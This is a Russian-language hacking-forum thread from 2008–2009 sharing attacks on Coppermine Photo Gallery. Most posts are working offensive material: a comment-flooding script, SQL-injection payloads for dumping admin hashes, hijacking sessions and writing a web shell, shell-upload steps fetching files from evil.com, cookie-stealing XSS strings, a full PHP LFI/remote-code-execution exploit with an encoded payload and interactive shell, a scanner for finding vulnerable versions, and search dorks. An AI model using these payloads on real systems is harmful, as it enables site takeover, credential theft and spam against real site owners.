ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 21.02.2008, 15:17
Аватар для diehard
diehard
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме:
2590715

Репутация: 659


Отправить сообщение для diehard с помощью ICQ
По умолчанию

Может кому-то понадобится: простенький флудер галлерей CPG на php. Флудит в комментах : требует указать промежуток индексов фотографий, которые нужно зафлудить, кол-во сообщений, текст сообщение и имя автора. Заливаем на ФТП и погнали ))

Код:
<? 
#######################################
# flood.php
# Coppermine Photo Gallery Easy Flooder
# (C) diehard
#######################################

$host = "www.site.com";
$addr = "/gallery/";

$N = $_GET['n']; 		// number of flood
$author = $_GET['name'];	// name
$message = $_GET['msg'];	// message
$pid1 = $_GET['pos1'];		// absolute position of photo FROM
$pid2 = $_GET['pos2'];		// absolute position of photo TO

if (($N=='')||($author=='')||($message=='')||($pid1=='')||($pid2==''))
{
  echo "<form method=get name=form1 action=flood.php>N:<input value='100' type=text name=n><br>Author:<input type=text value='Vasia' name=name><br>Message:<input value='Hello! My name is Vasia' type=text name=msg><br>Pos of photo FROM:<input type=text value=1 name=pos1><br>Pos of photo TO:<input type=text value=322 name=pos2><br><input type=submit value=go></form>";
}
else
{


$i=0;

while ($i<$N) {

$i++;

$pid = $pid1-1;

while($pid<$pid2){

  $pid++;

  $post="msg_author=$author&msg_body=$message&event=comment&pid=$pid&submit=OK"; 
  $len = strlen($post);

  $query = "POST $addr/db_input.php?event=comment HTTP/1.1\r\n".
	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
	 "Host: $host\r\n".
	 "Referer: http://".$host.$addr."displayimage.php?pos=-$pid\r\n".
	 "Content-Type: application/x-www-form-urlencoded\r\n".
	 "Connection: close\r\n".
	 "Content-Length: $len\r\n".
	 "\r\n".
	 "$post";

  echo "<BR>Photo $pid : Message $i<BR>";

  $conn = fsockopen($host, 80, $errno, $errstr, 1000); 
  fputs($conn, $query); 

  while (!feof($conn)) 
   {
     $ss = fgets($conn, 128); 
     echo $ss;
   }

}

}
}
?>

Последний раз редактировалось diehard; 21.02.2008 в 16:17..
 
Ответить с цитированием

  #12  
Старый 30.03.2008, 15:26
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию


2voron999888, 2+toxa+

Эксплоит использует два запроса вложенный один в другой.
Сначала идет
-1) UNION SELECT [HEX],1 as md5_password/*

Где [HEX] - полезная нагрузка, которая будет возвращена как результат во второй SQL-запрос.

[HEX] => to_hex => '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*'

Видимо такой автор видел возможность получения логических 0 и 1.
Бонус в том, что на ура пройдет выгрузка шела, ведь HEX позволяет избежать слеширования ковычек.

Иными словами
COOKIE: cpm_gallery=-1) UNION SELECT [HEX],1 as md5_password/*
где [HEX]
0) UNION SELECT '<?php;phpinfo();?>' from cpg_users into outfile('/www/shell.php')/*


[i] Не забываем, нужен file_priv для текущего mysql юзверя.

[i] Напоминаю, что для выгрузки в файл НЕОБХОДИМО формально указать любую существующую таблицу к которой у данного юзверя должен быть доступ.

[i] -1, 0 указываются для того чтобы первая часть запроса ничего не возвращала, в противном случае ваш юнион запрос может быть не обработан. Это я про ваши IN(1).


PS:

В родном эксплоите от РСТ необходимо заменить
PHP код:
         $page ''
на
PHP код:
         $page 'thumbnails.php'
...и он начинает правильно находить имя кук
 
Ответить с цитированием

Coppermine <=1.4.16 [Content-type] SQL-injection Exploit
  #13  
Старый 25.04.2008, 02:17
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.16 [Content-type] SQL-injection Exploit



Coppermine <=1.4.16 [Content-type] SQL-injection Exploit

1) Дата:
Найдена: April 9, 2008
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51787.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.16

3) Уязвимость: SQL-injection в [Content-type] при загрузке удаленных файлов.
Галерея доверяет ответу удаленного сервера.

4) Автор: Elekt (bug found April 9, 2008)

5) Тип: удалённая

6) Опасность: 5/10

7) Описание:
Уязвимость позволяет получить веб-шелл или хеш админа.
Необоходима валидная учетная запись + вам должно быть разрешено заливать файлы по удаленным ссылкам.

8) Эксплоит: способ эксплуатации уязвимости

[1] Shell upload

1) Заливаем shell.hack и .htaccess на свой сервер
2) Авторизуйтесь, вам должно быть разрешено заливать файлы
3) Загрузить файл -> Загрузка ссылок -> http://evil.com/shell.hack
4) Удачная загрузка -> Продолжить
5) Path to shell: http://target/albums/edit/mURI_temp_xxxxxxxx.php


[2] Admin data

1) Заливаем exploit.hack и .htaccess на свой сервер
2) Настраиваем [options] в эксплойте
2.1) Используем $mode=2 зная префикс таблиц. Указываем $prefix.
2.2) Используем $mode=1 для определения префикса таблиц. Затем $mode=2
3) Авторизуйтесь, вам должно быть разрешено заливать файлы
4) Загрузить файл -> Загрузка ссылок -> http://evil.com/exploit.hack
5) Удачная загрузка -> Продолжить -> mURI_temp_xxxxxxxx.[result]
6) Переведите hex() в ascii(), например http://quest.antichat.net/code.php

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51787.0.html


Сам уязвимый код:

/upload.php

PHP код:
 if (!USER_CAN_UPLOAD_PICTURES && !USER_CAN_CREATE_ALBUMS) { 
    
cpg_die(ERROR$lang_errors['perm_denied'], __FILE____LINE__); 


    
$URI_upload_count count($_POST['URI_array']); 

    if (
$URI_upload_count 0) { 
     
           if(!(
eregi('^content-type: ([[:graph:]]+)'$header['wrapper_data'][$i], $MIME_extraction_array))) { 

                    
$MIME_result cpg_db_query("SELECT extension FROM {$CONFIG['TABLE_FILETYPES']} WHERE mime='$URI_MIME_type'"); 
Вложения
Тип файла: zip Coppermine =1.4.16 [Content-type] SQL-injection Exploit.zip (5.4 Кб, 113 просмотров)
 
Ответить с цитированием

Coppermine <=1.4.17 SQL-inj Session Hijack Exploit
  #14  
Старый 25.04.2008, 02:18
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.17 SQL-inj Session Hijack Exploit


Coppermine <=1.4.17 SQL-inj Session Hijack Exploit

1) Дата:
Пропатчена: April 11, 2008 (http://forum.coppermine-gallery.net/index.php/topic,51882.0.html)

2) Продукт: Coppermine Photo Gallery <=1.4.17

3) Уязвимость: SQL-инъекция в $_COOKIE[$this->client_id] в [/bridge/coppermine.inc.php]
Значение извлекается из куков без проверок.

4) Автор: unknown

6) Опасность: 4/10

5) Тип: удалённая

7) Описание:

Уязвимость позволяет присвоить валидную сессию админа или получить хеш пароля админа.

[1] Session hijacking
В случае существования валидной сессии (время жизни сессии 1 час) - атакующий повысит свои права до админа.

Эксплоит:

по конкретному id админа.пользователя
Cookie: [$this->client_id]=blah") or user_id=[admin_id]/*;
например:
60e8773ee5c8bcc63dac366e197055a4=hack!") or user_id=1/*;

автоопределение админской сессии
COOKIE: Cookie: [$this->client_id]=Antich@t") union select cpg14x_sessions.user_id from cpg14x_sessions,cpg14x_users where cpg14x_users.user_group=1 AND cpg14x_users.user_id=cpg14x_sessions.user_id limit 0,1/*;


[2] Хеш: перебор через more1row
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=1,(select 2 union select 3),2)/*
COOKIE: Cookie: [$this->client_id]=Antich@t") or 1=if(ascii(substr((select concat(user_id,0x3a,user_name,0x3a,user_password,0 x3a,user_email) from cpg14x_users where user_group=1 and user_active='YES' limit 1),1,1))<=254,(select 2 union select 3),2)/*

9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html

Разработчик пофиксил проблему, заменив md5-sql на md5-php:

было
PHP код:
where session_id md5(" ' . $session_id . ' "); '; 
стало
PHP код:
where session_id ' " . md5($session_id) . " ' "; 

Сам уязвимый код:

PHP код:
       function session_extraction()
        {
                
// Get the session cookie value
                
$sessioncookie $_COOKIE[$this->client_id];

                
// Create the session id by concat(session_cookie_value, client_id)
                
$session_id $sessioncookie.$this->client_id;

                if (
$sessioncookie) {
        
                    
// Check for valid session
                    
$sql =  'select user_id from '.$this->sessionstable.' where session_id=md5("'.$session_id.'");'
Вложения
Тип файла: zip Coppermine =1.4.17 SQL-inj Session Hijack Exploit.zip (5.0 Кб, 63 просмотров)
 
Ответить с цитированием

Coppermine <=1.4.18 Ecard SQL-injection Vulnerable
  #15  
Старый 28.04.2008, 18:56
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию Coppermine <=1.4.18 Ecard SQL-injection Vulnerable


Coppermine <=1.4.18 Ecard SQL-injection Vulnerable

1) Дата:
Найдена: April 28, 2008

2) Продукт: Coppermine Photo Gallery <=1.4.18

3) Уязвимость: SQL-injection в [user_email] при регистрации и отсылке открыток.

4) Автор: Elekt (bug found April 28, 2008)

5) Тип: удалённая

6) Опасность: 3/10

7) Описание:

Уязвимость позволяет выполнить произвольные SQL-команды, например получить хеш админа используя технологию брута "more1row".

Необоходимые условия:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email
~ включен лог открыток(по дефолту отключено)


Как и почему это работает.

1) Опасные символы заменяются в "/include/init.inc.php" html аналогами в GET,POST,REQUEST , но '\' не затрагивается.
А заодно stripslashes()'тся, что дает возможность использовать NULL-byte.

2) При регистрации нового пользователя используется регулярка основанная на ereg(), который уязвим к NULL-byte, прекращая обработку строки при встрече с ним.
Таким образом email вида "test@blah.com\x00\" успешно проходит проверку.

3) В БД email попадает со слешем на конце. Что это дает? Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.

SQL-error:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
4) С ошибки нам ничего не поиметь, но вот если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection

SQL-inj-more1row:
Код HTML:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject-more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
5) Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.

8) Эксплоит: способ эксплуатации уязвимости

1) Снифаем пакет регистрации, вставляя в область email : "mymail@mail.ru%00\" . Отправляем. Ответ сервера сообщит нам об ошибке email.
2) Берем отснифанный пакет и меняем в нем %2500 на %00. Отсылаем. Сервер сообщает об успешной регистрации. Авторизуемся.
3) Теперь выбираем любую картинку в галерее. Жмем на значок письма (Отправить этот файл как открытку)
5) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке БД - вам повезло - лог открыток включен и возможна SQL-inj. Если нет, то нет.
6) В поле "Имя получателя" проводим SQL-more1row.

FALSE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE
Имя получателя:
Код HTML:
 or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
Скрипт перебора напишите сами.

7) Фильтруется '<' '>' . Можно использовать только '='


9) Поиск: пример поиска приложения через поисковые системы

Powered by Coppermine Photo Gallery

10) Решение: решение для устранения уязвимости

1) установить addslashes() перед регуляркой проверки email в register.php
2) экранировать "\"


Сам уязвимый код:

/ecard.php

PHP код:
        if ($CONFIG['log_ecards'] == 1) {

          
$result_log cpg_db_query("INSERT INTO {$CONFIG['TABLE_ECARDS']} (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('$sender_name', '$sender_email', '$recipient_name', '$recipient_email',   '$encoded_data', '$tempTime', '{$_SERVER["REMOTE_ADDR"]}')");
          } 
/register.php

PHP код:
$email trim(get_post_var('email'));
    if (!
eregi("^[_\.0-9a-z\-]+@([0-9a-z][0-9a-z-]+\.)+[a-z]{2,6}$"$email)) $error .= '<li>' $lang_register_php['err_invalid_email'];

    
$sql "INSERT INTO {$CONFIG['TABLE_USERS']} ".
           
"(user_regdate, user_active, user_actkey, user_name, user_password, user_email, user_profile1, user_profile2, user_profile3, user_profile4, user_profile5, user_profile6) ".
           
"VALUES (NOW(), '$active', '$act_key', '" addslashes($user_name) . "', '" addslashes($encpassword) . "', '" addslashes($email) . "', '$profile1', '$profile2', '$profile3', '$profile4', '$profile5', '$profile6')"
Вложения
Тип файла: zip Coppermine =1.4.19 Ecard SQL-inj Exploit.zip (5.4 Кб, 46 просмотров)

Последний раз редактировалось Elekt; 08.09.2008 в 12:43..
 
Ответить с цитированием

  #16  
Старый 01.05.2008, 03:59
Аватар для baltazar
baltazar
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме:
5149122

Репутация: 2438
Отправить сообщение для baltazar с помощью ICQ
По умолчанию

XSS:
Код:
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> [xsscode here]
http://localhost/nuke72/modules/coppermine/docs/ menu.inc.php?CPG_URL=foobar"> <body%20onload=alert(document.cookie);>
(с)
 
Ответить с цитированием

XSS Coppermine Photo Gallery <= 1.4.18
  #17  
Старый 04.05.2008, 23:40
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию XSS Coppermine Photo Gallery <= 1.4.18

XSS Coppermine Photo Gallery <= 1.4.18
http://target.com/cpg/docs/showdoc.php?css="><script>alert(/Achat/)</script><
 
Ответить с цитированием

Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
  #18  
Старый 02.08.2008, 14:06
Аватар для Каратель
Каратель
Banned
Регистрация: 01.08.2008
Сообщений: 7
Провел на форуме:
20122

Репутация: 11
По умолчанию Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit

PHP код:
<?php

/*
    ----------------------------------------------------------------------
    Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
    ----------------------------------------------------------------------
    
    author...: EgiX
    mail.....: n0b0d13s[at]gmail[dot]com
    
    link.....: http://coppermine-gallery.net/
    dork.....: "Powered by Coppermine Photo Gallery"

    [-] vulnerable code to LFI in /include/init.inc.php
    
    263.    // Start output buffering
    264.    ob_start('cpg_filter_page_html');
    265.    
    266.    // Parse cookie stored user profile
    267.    user_get_profile(); <==== [1]
    268.    
    269.    // Authenticate
    270.    $cpg_udb->authenticate();
    
    [...]
    
    301.    // Process language selection if present in URI or in user profile or try
    302.    // autodetection if default charset is utf-8
    303.    if (!empty($_GET['lang']))
    304.    {
    305.            $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];
    306.    }
    307.    
    308.    if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
    309.    {
    310.            $CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
    311.            $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
    312.    }
    313.    elseif ($CONFIG['charset'] == 'utf-8') <====== [2]
    314.    {
    315.            include('include/select_lang.inc.php');
    316.            if (file_exists('lang/' . $USER['lang'] . '.php'))
    317.            {
    318.                    $CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
    319.                    $CONFIG['lang'] = $USER['lang'];
    320.            }
    321.    }
    322.    else
    323.    {
    324.            unset($USER['lang']);
    325.    }
    326.    
    327.    if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
    328.    {
    329.                    unset($CONFIG['default_lang']);
    330.    }
    331.    
    332.    if (!file_exists("lang/{$CONFIG['lang']}.php"))
    333.      $CONFIG['lang'] = 'english';
    334.    
    335.    // We load the chosen language file
    336.    require "lang/{$CONFIG['lang']}.php"; <======== [3]

    if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to
    include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by
    cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146)
    
    [-] Path disclosure in /themes/sample/theme.php
    
    [-] Possible bug fix in /include/functions.inc.php
    
    128.    function user_get_profile()
    129.    {
    130.            global $CONFIG, $USER;
    131.            
    132.        if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
    133.            $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
    134.            $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang'];
    135.               }
    
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout"5);

define(STDINfopen("php://stdin""r"));

function 
http_send($host$packet)
{
    
$sock fsockopen($host80);
    while (!
$sock)
    {
        print 
"\n[-] No response from {$host}:80 Trying again...";
        
$sock fsockopen($host80);
    }
    
fputs($sock$packet);
    while (!
feof($sock)) $resp .= fread($sock1024);
    
fclose($sock);
    return 
$resp;
}

function 
get_info()
{
    global 
$host$path$cookie$version$path_disc;
    
    
$packet  "GET {$path} HTTP/1.0\r\n";
    
$packet .= "Host: {$host}\r\n";
    
$packet .= "Connection: close\r\n\r\n";
    
$html     http_send($host$packet);
    
    
preg_match("/Set-Cookie: (.*)_data/"$html$match);
    
$cookie $match[1];
    
    
preg_match("/<!--Coppermine Photo Gallery (.*) /"$html$match);
    
$version $match[1];
    
    
$packet  "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";
    
$packet .= "Host: {$host}\r\n";
    
$packet .= "Connection: close\r\n\r\n";
    
    
preg_match("/in <b>(.*)themes/"http_send($host$packet), $match);
    
$path_disc $match[1];
}

function 
get_logs()
{
    
$logs[] = "/apache/logs/access.log";
    
$logs[] = "/apache2/logs/access.log";
    
$logs[] = "/apache/log/access.log";
    
$logs[] = "/apache2/log/access.log";
    
$logs[] = "/logs/access.log";
    
$logs[] = "/var/log/apache/access.log";
    
$logs[] = "/var/log/apache2/access.log";
    
$logs[] = "/var/log/access.log";
    
$logs[] = "/var/www/logs/access.log";
    
$logs[] = "/var/www/log/access.log";
    
$logs[] = "/var/log/httpd/access.log";
    
$logs[] = "/etc/httpd/logs/access.log";
    
$logs[] = "/usr/local/apache/logs/access.log";
    
$logs[] = "/usr/local/apache2/logs/access.log";
    
    for (
$i 0$climb "../.."$i 7$i++)
    {
        foreach (
$logs as $_log$array[] = $climb.$_log;
        
$climb .= "/..";
    }
    
    return 
$array;
}

function 
first_time()
{
    global 
$host$path;
    
    
$packet  "GET {$path}proof.php HTTP/1.0\r\n";
    
$packet .= "Host: {$host}\r\n";
    
$packet .= "Connection: close\r\n\r\n";

    return (!
preg_match("/_code_/"http_send($host$packet)));
}

function 
lfi()
{
    global 
$host$path$cookie;
    
    
$logs get_logs();

    foreach (
$logs as $_log)
    {
        print 
"[-] Trying to include {$_log}\n";
        
        
$data base64_encode(serialize(array("ID" => md5(time()), "am" => 1"lang" => $_log.chr(0))));
        
        
$packet     "GET {$path} HTTP/1.0\r\n";
        
$packet .= "Host: {$host}\r\n";
        
$packet .= "Cookie: {$cookie}_data={$data}\r\n";
        
$packet .= "Connection: close\r\n\r\n";
        
$resp     http_send($host$packet);
        
        if (!
preg_match("/f=fopen/"$resp) && preg_match("/_LfI_/"$resp)) return true;
        
        
sleep(1);
    }
    
    return 
false;
}

print 
"\n+-------------------------------------------------------------------------+";
print 
"\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |";
print 
"\n+-------------------------------------------------------------------------+\n";

if (
$argc 3)
{
    print 
"\nUsage...: php $argv[0] host path\n";
    print 
"\nhost....: target server (ip/hostname)";
    print 
"\npath....: path to cpg directory\n";
    die();
}

$host $argv[1];
$path $argv[2];

get_info();

print 
"\n[-] Version..........: {$version}";
print 
"\n[-] Cookie name......: {$cookie}";
print 
"\n[-] Path disclosure..: {$path_disc}\n\n";

if (
first_time())
{
    
$code base64_decode(
    
"PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" .
    
"TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" .
    
"A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" .
    
"ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" .
    
"LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" .
    
"2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" .
    
"kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" .
    
"oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" .
    
"ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" .
    
"DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");
        
    
$packet  "GET {$path}{$code} HTTP/1.0\r\n";
    
$packet .= "Host: {$host}\r\n";
    
$packet .= "User-Agent: {$code}\r\n";
    
$packet .= "Connection: close\r\n\r\n";

    
http_send($host$packet);

    if (!
lfi()) die("\n[-] Exploit failed...\n");
}

while(
1)
{
    print 
"\ncoppermine-shell# ";
    
$cmd trim(fgets(STDIN));
    if (
$cmd != "exit")
    {
        
$packet "GET {$path}proof.php HTTP/1.0\r\n";
        
$packet.= "Host: {$host}\r\n";
        
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
        
$packet.= "Connection: close\r\n\r\n";
        list(
$header$payload) = explode("_code_"http_send($host$packet));
        
preg_match("/200 OK/"$header) ? print "\n{$payload}: die("\n[-] Exploit failed...\n");
    }
    else break;
}

?>
 
Ответить с цитированием

  #19  
Старый 04.08.2008, 15:26
Аватар для Basurman
Basurman
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
Провел на форуме:
5636868

Репутация: 849
Отправить сообщение для Basurman с помощью ICQ
По умолчанию

ПАРСЕР ВЕРСИЙ

Скрипт работает по списку.
http:// указывать обязательно

Создает после выполнения 2 файлика: output.txt и log.txt

В log.txt хранится весь лог работы, данные ДОБАВЛЯЮТСЯ.
В output.txt хранится лог по обработке текущего списка. Предыдущие результаты стираются. В этот файл не попадают сайты, версию у которых определить не удалось...

P.S. Кому не нужны версии старше определенной, удаляем 2 строки комментария в исходнике и добавляем 1 сразу после них

Код:
#!/usr/bin/perl
use LWP::UserAgent;
use Time::tm;

print "\n############# Coppermine Version Parser v0.2 ###############\n\n";
if (@ARGV != 1) { notvalid(); exit();}

my $uagent = LWP::UserAgent->new();

open (INPUT, "< input.txt");
open (OUTPUT, "> output.txt");
open (LOG, ">> log.txt");
print LOG "======================== ".localtime()." ========================\n\n";

while ($url = <INPUT>) {
chomp($url);

my $req = HTTP::Request->new(GET => "$url");
my $res = $uagent->request($req);
$mystr=$res->as_string;


if ($mystr=~ /\<\!\-\-Coppermine\s+Photo\s+Gallery\s+(\d+.\d+.\d+)/) 
{
	$tolog = "[+] [".localtime()."] ".$url." --> ".$1."\n";
#	if ($1=~ /1.4.18/) { print LOG $tolog; print $tolog; }
#	else { print LOG $tolog; print OUTPUT $tolog; print $tolog;}
	print LOG $tolog; print OUTPUT $tolog; print $tolog;
} 
else
{
	$tolog = "[-] [".localtime()."] ".$url." --> Version unknown...\n";
	print LOG $tolog; print $tolog;
}

}
print LOG "\n\n";
close INPUT;
close OUTPUT;
close LOG;

sub notvalid()
{

print "Usage: parser.pl <site list>\r\n";
print "Example: parser.pl input.txt\r\n\nNOTE: URLs in list must be ABSOLUTE!!!\n";


}
 
Ответить с цитированием

  #20  
Старый 04.01.2009, 01:45
Аватар для deathking
deathking
Новичок
Регистрация: 28.12.2008
Сообщений: 3
Провел на форуме:
7775

Репутация: 0
По умолчанию

Цитата:
Сообщение от Каратель  
[PHP]<?php

/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"

[-] vulnerable code to LFI in /include/init.inc.php


а полного кода нет ни у кого??

Последний раз редактировалось deathking; 04.01.2009 в 01:47..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ